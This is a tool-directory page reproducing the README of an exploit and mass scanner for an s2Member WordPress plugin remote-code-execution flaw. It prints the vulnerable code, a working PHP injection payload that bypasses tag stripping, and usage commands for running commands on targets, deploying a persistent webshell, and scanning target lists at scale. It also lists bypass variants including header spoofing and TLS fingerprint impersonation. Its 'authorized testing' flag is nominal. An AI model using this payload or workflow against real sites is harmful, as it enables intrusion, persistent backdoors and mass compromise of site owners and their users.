Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-86596 — Single-file exploit and mass scanner for CVE-2026-86596, an s2Member template-injection RCE via the PayPal IPN item_name parameter, with bypass variants and webshell deployment. | Kitploit
Tools/GitHubGitHub/aureels/cve-2026-86596
ReconnaissanceVulnerability ScannersPayload GenerationExploitationIDS/IPS EvasionWeb Application ExploitationWeb SecurityCommand and ControlRemote Access ToolFingerprint Spoofing
GitHub
57h 22m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
aureels/cve-2026-86596

CVE-2026-86596

Single-file exploit and mass scanner for CVE-2026-86596, an s2Member template-injection RCE via the PayPal IPN item_name parameter, with bypass variants and webshell deployment.

View Repository

CVE-2026-86596 - s2Member <= 260927 Weaponized RCE

CVSS 9.8 | CVE-2026-86596 | Patch: 261001+

Single-file weaponized exploit & scanner for s2Member template injection via item_name IPN parameter.

Vulnerability

$paypal = strip_php_tags_deep($paypal);           // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));  // Removes %%x%% -> reassembles <?php

Payload: <%%x%%?php system('id'); ?> → bypasses strip_php_tags_deep, reassembles to valid <?php after placeholder cleanup.

Usage

# Single target RCE
python3 poc.py target.com --cmd "id" --authorized

# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell

# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass

# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon

# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json

Options

FlagDescription
--cmd "id"Command to execute (or shell:pass for webshell)
--scanMass scan mode (read targets from file)
--exploitAttempt exploit during scan
--authorizedREQUIRED for any exploit action
--reconFull reconnaissance before exploit
--item-numberSpecific item_number (default: auto-discover)
--proxy-verifications2member_paypal_proxy_verification key
--write-testWrite test file instead of executing command
--deploy-shellDeploy persistent webshell
--shell-pathWebshell filename (default: shell.php)
--full-bypassTry ALL bypass variants (slow)
--no-evasionDisable all bypass attempts
--threads NScan threads (default: 15)
--output fileOutput JSON/CSV
--http-proxyHTTP(S) proxy
--impersonateTLS fingerprint: chrome/firefox/safari/edge
--insecureDisable TLS verification
--verboseVerbose output

Bypass Matrix

LayerVariants
Payload10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64
Write4: file_put_contents, fopen/fwrite, shell_exec, b64_decode
Shell5: eval, system, assert, b64_eval, shortcode
Request5: form, multipart, dup, multipart-dup, JSON
Headers7: XFF spoof, PayPal referer/origin, IPN headers, cluster
TLS4: chrome, firefox, safari, edge (curl_cffi)

Requirements for Live RCE

  • s2Member <= 260927
  • Valid item_number (protected post/page ID)
  • PayPal IPN verification (sandbox or proxy verification key)
  • Template sink: do_shortcode() / [s2If php=...]

Files

/root/labv/
├── poc.py        # Single weaponized exploit + scanner (384 lines)
├── README.md     # This file
└── targets.txt   # Example target list

References

  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • GitHub PoC: https://github.com/thiscitze/cve-2026-86596-poc
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member

Legal

FOR AUTHORIZED TESTING ONLY. --authorized flag confirms written permission.

Download Tool